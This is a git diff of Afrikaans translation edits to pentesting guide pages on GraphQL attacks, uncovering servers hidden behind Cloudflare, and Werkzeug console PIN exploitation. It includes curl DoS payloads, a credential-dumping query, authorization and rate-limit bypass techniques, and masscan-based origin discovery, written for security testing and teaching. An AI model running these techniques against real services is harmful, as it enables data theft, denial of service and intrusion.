18-17-48.png>) -Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie objek is soos hieronder gedefinieer: +Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie objek is soos hieronder gedefinieer: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Jy kan sien dat die "_Flags_" objektes saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: +Jy kan sien dat die "_Flags_" objekte saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: ```javascript query={flags{name, value}} ``` -Let daarop dat in die geval waar die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld +Neem kennis dat as die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld ![](<../../images/image (958).png>) @@ -216,11 +215,11 @@ Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user* ![](<../../images/image (707).png>) -En tydens die **enumeration phase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het. +En tydens die **enumeration fase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het. **Query string dump trick (dankie aan @BinaryShadow\_)** -As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **al die data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). +As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). ### Soek @@ -251,7 +250,7 @@ name ``` Let op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te verkry. -Jy kan ook **verskeie voorwerpe gelyktydig soek**. In hierdie geval word 'n soektog na 2 flieks gedoen: +Jy kan ook **verskeie objekte terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -284,7 +283,7 @@ name ``` ### Mutasies -**Mutasies word gebruik om veranderinge aan die bediener-kant te maak.** +**Mutasies word gebruik om veranderinge aan die bedienerkant te maak.** In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volgende beeld word die "_MutationType_" "_Mutation_" genoem en die "_Mutation_" objek bevat die name van die mutasies (soos "_addPerson_" in hierdie geval): @@ -292,7 +291,7 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui. -'n mutasie om **nuwe** flieks binne die databasis te **skep** kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): +'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -354,7 +353,7 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _ Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou. -Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). 'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?). @@ -424,7 +423,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Daarom, aangesien CSRF versoeke soos die vorige **sonder preflight versoeke** gestuur word, is dit moontlik om **veranderinge** in die GraphQL te **maak** deur 'n CSRF te misbruik. -Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derdeparty web in GET versoeke gestuur sal word. +Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derdeparty-web in GET versoeke gestuur sal word. Let daarop dat dit gewoonlik moontlik is om die **query** **versoek** ook as 'n **GET** **versoek** te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie. @@ -434,7 +433,7 @@ Vir meer inligting **kyk die** [**oorspronklike pos hier**](https://blog.doyense ## Cross-site WebSocket kaping in GraphQL -Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentikasie met GraphQL te misbruik met onbeskermde koekies** en 'n gebruiker te laat optree op 'n onverwagte manier in GraphQL. +Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL met onbeveiligde koekies te misbruik** en 'n gebruiker onvoorsiene aksies in GraphQL te laat uitvoer. Vir meer inligting kyk: @@ -444,9 +443,9 @@ Vir meer inligting kyk: ## Magtiging in GraphQL -Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentikasie van die versoeker nagaan, maar nie magtiging nie. +Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie. -Die wijziging van query invoer veranderlikes kan lei tot sensitiewe rekeningbesonderhede [gelekt](https://hackerone.com/reports/792927). +Die wijziging van query invoervariabeles kan lei tot sensitiewe rekeningbesonderhede [gelekt](https://hackerone.com/reports/792927). Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata te wijzig. ```javascript @@ -456,15 +455,15 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### Oorskrywing van magtiging in GraphQL +### Oorbrugging van magtiging in GraphQL -[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak magtigingstelsel oorskry. +[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak magtigingstelsel oorbrug. -In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorgeskryf word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruiker veranderlike by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word. +In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorbrug word deur 'n navraag aan die einde by te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
-## Oorskrywing van Tariefbeperkings met behulp van Aliasse in GraphQL +## Oorbrugging van Tariefbeperkings met behulp van Aliasse in GraphQL In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het. @@ -489,9 +488,9 @@ valid ``` ## DoS in GraphQL -### Alias Oorgemak +### Alias Oorbelasting -**Alias Oorgemak** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput: +**Alias Oorbelasting** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -502,7 +501,7 @@ Om dit te verminder, implementeer alias telling beperkings, navraag kompleksitei ### **Array-gebaseerde Navraag Groepering** -**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag. +**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae parallel uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -510,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -In hierdie voorbeeld word 10 verskillende navrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai. +In hierdie voorbeeld word 10 verskillende vrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe vrae uitgebuit word, kan dit die bediener oorlaai. ### **Direktiewe Oorlaai Kw vulnerability** -**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validasie of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te aktiveer, wat lei tot **Denial of Service (DoS)**. +**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener vrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n vraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te aktiveer, wat lei tot **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -529,7 +528,7 @@ curl -X POST \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -Jy kan ook 'n introspeksievraag stuur om al die verklaarde riglyne te ontdek: +Jy kan ook 'n introspeksie-vraag stuur om al die verklaarde riglyne te ontdek: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -538,9 +537,9 @@ curl -X POST \ ``` En dan **gebruik sommige van die persoonlike** eenhede. -### **Veld Duplikasie Kw vulnerability** +### **Veld Duplikaasievulnerabiliteit** -**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae met dieselfde veld wat oormatig herhaal word, toelaat. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. +**Veld Duplikaasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae met dieselfde veld wat oormatig herhaal word, toelaat. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -552,7 +551,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Kwetsbaarheid skandeerders - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene miskonfigurasies van graphql eindpunte -- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsouditering skrif met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies. +- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die graphql wat gebruik word - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as 'n standalone gebruik word of [Burp uitbreiding](https://github.com/doyensec/inql). @@ -560,7 +559,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse wat die name van mutasies en parameters sal voorstel. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel. ### Kliënte @@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Outomatiese Toetse -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index cc8362c6a..fc8367b10 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,24 +4,24 @@ ## Algemene Tegnieke om Cloudflare te Ontdek -- Jy kan 'n diens gebruik wat jou die **historiese DNS rekords** van die domein gee. Miskien loop die webblad op 'n IP adres wat voorheen gebruik is. -- Dieselfde kan bereik word deur **historiese SSL sertifikate** te kontroleer wat na die oorspronklike IP adres kan wys. -- Kontroleer ook **DNS rekords van ander subdomeine wat direk na IPs wys**, aangesien dit moontlik is dat ander subdomeine na dieselfde bediener wys (miskien om FTP, pos of enige ander diens aan te bied). -- As jy 'n **SSRF binne die webtoepassing** vind, kan jy dit misbruik om die IP adres van die bediener te verkry. -- Soek 'n unieke string van die webblad in blaaiers soos shodan (en miskien google en soortgelyke?). Miskien kan jy 'n IP adres met daardie inhoud vind. -- Op 'n soortgelyke manier, in plaas daarvan om na 'n unieke string te soek, kan jy soek na die favicon ikoon met die hulpmiddel: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) of met [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) -- Dit sal nie baie gereeld werk nie, omdat die bediener dieselfde antwoord moet stuur wanneer dit deur die IP adres geakkommodeer word, maar jy weet nooit. +- Jy kan 'n diens gebruik wat jou die **historiese DNS-rekords** van die domein gee. Miskien loop die webblad op 'n IP-adres wat voorheen gebruik is. +- Dieselfde kan bereik word deur **historiese SSL-sertifikate** te kontroleer wat na die oorspronklike IP-adres kan wys. +- Kontroleer ook **DNS-rekords van ander subdomeine wat direk na IP's wys**, aangesien dit moontlik is dat ander subdomeine na dieselfde bediener wys (miskien om FTP, pos of enige ander diens aan te bied). +- As jy 'n **SSRF binne die webtoepassing** vind, kan jy dit misbruik om die IP-adres van die bediener te verkry. +- Soek 'n unieke string van die webblad in blaaiers soos shodan (en miskien google en soortgelyke?). Miskien kan jy 'n IP-adres met daardie inhoud vind. +- Op 'n soortgelyke manier, in plaas daarvan om na 'n unieke string te soek, kan jy soek na die favicon-ikoon met die hulpmiddel: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) of met [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) +- Dit sal nie baie gereeld werk nie, omdat die bediener dieselfde antwoord moet stuur wanneer dit deur die IP-adres toegang verkry, maar jy weet nooit. ## Hulpmiddels om Cloudflare te Ontdek - Soek vir die domein binne [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) of [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Of gebruik die hulpmiddel [CloudPeler](https://github.com/zidansec/CloudPeler) (wat daardie API gebruik) - Soek vir die domein in [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -- [**CloudFlair**](https://github.com/christophetd/CloudFlair) is 'n hulpmiddel wat sal soek met behulp van Censys sertifikate wat die domeinnaam bevat, dan sal dit soek na IPv4s binne daardie sertifikate en uiteindelik sal dit probeer om toegang te verkry tot die webblad in daardie IPs. -- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r is 'n kragtige Python hulpmiddel wat met sorg ontwerp is om die werklike IP adres van webwerwe wat deur Cloudflare en ander alternatiewe beskerm word, te ontdek, 'n wyd gebruikte websekuriteits- en prestasieverbeteringsdiens. Sy kernmissie is om die werklike IP adres van webbedieners wat agter Cloudflare se beskermende skild versteek is, akkuraat te onderskei. +- [**CloudFlair**](https://github.com/christophetd/CloudFlair) is 'n hulpmiddel wat sal soek met behulp van Censys-sertifikate wat die domeinnaam bevat, dan sal dit soek na IPv4's binne daardie sertifikate en uiteindelik sal dit probeer om toegang tot die webblad in daardie IP's te verkry. +- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r is 'n kragtige Python-hulpmiddel wat met sorg ontwerp is om die werklike IP-adres van webwerwe wat deur Cloudflare en ander alternatiewe beskerm word, te ontdek, 'n wyd gebruikte websekuriteits- en prestasieverbeteringsdiens. Sy kernmissie is om die werklike IP-adres van webbedieners wat agter Cloudflare se beskermende skild versteek is, akkuraat te onderskei. - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) -- As jy 'n stel potensiële IPs het waar die webblad geleë is, kan jy [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) gebruik. +- As jy 'n stel potensiële IP's het waar die webblad geleë is, kan jy [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) gebruik. ```bash # You can check if the tool is working with prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one @@ -41,7 +41,9 @@ Let daarop dat selfs al is dit vir AWS-masjiene gedoen, dit vir enige ander wolk Vir 'n beter beskrywing van hierdie proses, kyk: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -64,7 +66,7 @@ Hierdie mekanisme staat op **klant** [**SSL sertifikate**](https://socradar.io/h In plaas daarvan om sy eie sertifikaat te konfigureer, kan kliënte eenvoudig Cloudflare se sertifikaat gebruik om enige verbinding van Cloudflare toe te laat, **ongeag van die huurder**. > [!CAUTION] -> Daarom kan 'n aanvaller eenvoudig 'n **domein in Cloudflare instel met Cloudflare se sertifikaat en dit** na die **slagoffer** domein **IP** adres wys. Op hierdie manier, deur sy domein heeltemal onbeskermd in te stel, sal Cloudflare nie die versoeke wat gestuur word beskerm nie. +> Daarom kan 'n aanvaller eenvoudig 'n **domein in Cloudflare stel met Cloudflare se sertifikaat en dit** na die **slagoffer** domein **IP** adres wys. Op hierdie manier, deur sy domein heeltemal onbeskermd te stel, sal Cloudflare nie die versoeke wat gestuur word beskerm nie. Meer inligting [**hier**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). @@ -120,11 +122,11 @@ Sommige van hulle is: - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) is bekend vir hul eie Cloudflare omseilingsmeganismes. -Vir diegene wat 'n geoptimaliseerde oplossing soek, is die [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) opvallend. Hierdie diens integreer meer as 20 proxy verskaffers in 'n enkele API, wat outomaties die beste en mees koste-effektiewe proxy vir jou teikendomeine kies, en bied dus 'n beter opsie om Cloudflare se verdediging te navigeer. +Vir diegene wat 'n geoptimaliseerde oplossing soek, staan die [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) uit. Hierdie diens integreer meer as 20 proxieverskaffers in 'n enkele API, wat outomaties die beste en mees koste-effektiewe proxie vir jou teikendomeine kies, en bied dus 'n beter opsie om Cloudflare se verdediging te navigeer. ### Omgekeerde Ingenieurswese van Cloudflare Anti-Bot Beskerming -Omgekeerde ingenieurswese van Cloudflare se anti-bot maatreëls is 'n taktiek wat deur slim proxie verskaffers gebruik word, geskik vir uitgebreide web scraping sonder die hoë koste van die bestuur van baie hooflose blaaiers. +Omgekeerde ingenieurswese van Cloudflare se anti-bot maatreëls is 'n taktiek wat deur slim proxieverskaffers gebruik word, geskik vir uitgebreide web scraping sonder die hoë koste van die bestuur van baie hooflose blaaiers. **Voordele:** Hierdie metode stel in staat om 'n uiters doeltreffende omseiling te skep wat spesifiek Cloudflare se kontroles teiken, ideaal vir grootmaat operasies. diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index a02c4fb7f..878cae597 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Konsol RCE As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry. @@ -15,41 +14,41 @@ Daar is ook verskeie exploits op die internet soos [hierdie](https://github.com/ ## Pin Beskerm - Pad Traversal -In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **lêer traversaal kwesbaarheid** het, kan jy al die nodige inligting lek om daardie pin te genereer. +In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **file traversal vulnerability** het, kan jy al die nodige inligting lek om daardie pin te genereer. ### Werkzeug Console PIN Exploit -Forceer 'n foutbladsy in die app om dit te sien: +Forceer 'n debug foutbladsy in die app om dit te sien: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie algoritme in Werkzeug se foutopsporing inisialiseringslêer (`__init__.py`) te analiseer. Die PIN generasie meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille. +'n Boodskap rakende die "konsole vergrendel" scenario word aangetref wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie-algoritme in Werkzeug se foutopsporing inisialiseringslêer (`__init__.py`) te analiseer. Die PIN generasie-meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille. Om die konsole PIN te benut, is twee stelle van veranderlikes, `probably_public_bits` en `private_bits`, nodig: #### **`probably_public_bits`** -- **`username`**: Verwys na die gebruiker wat die Flask sessie begin het. +- **`username`**: Verwys na die gebruiker wat die Flask-sessie begin het. - **`modname`**: Gewoonlik aangewys as `flask.app`. - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Oor die algemeen los dit op na **Flask**. -- **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**. +- **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask-gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**. #### **`private_bits`** -- **`uuid.getnode()`**: Verkry die MAC adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 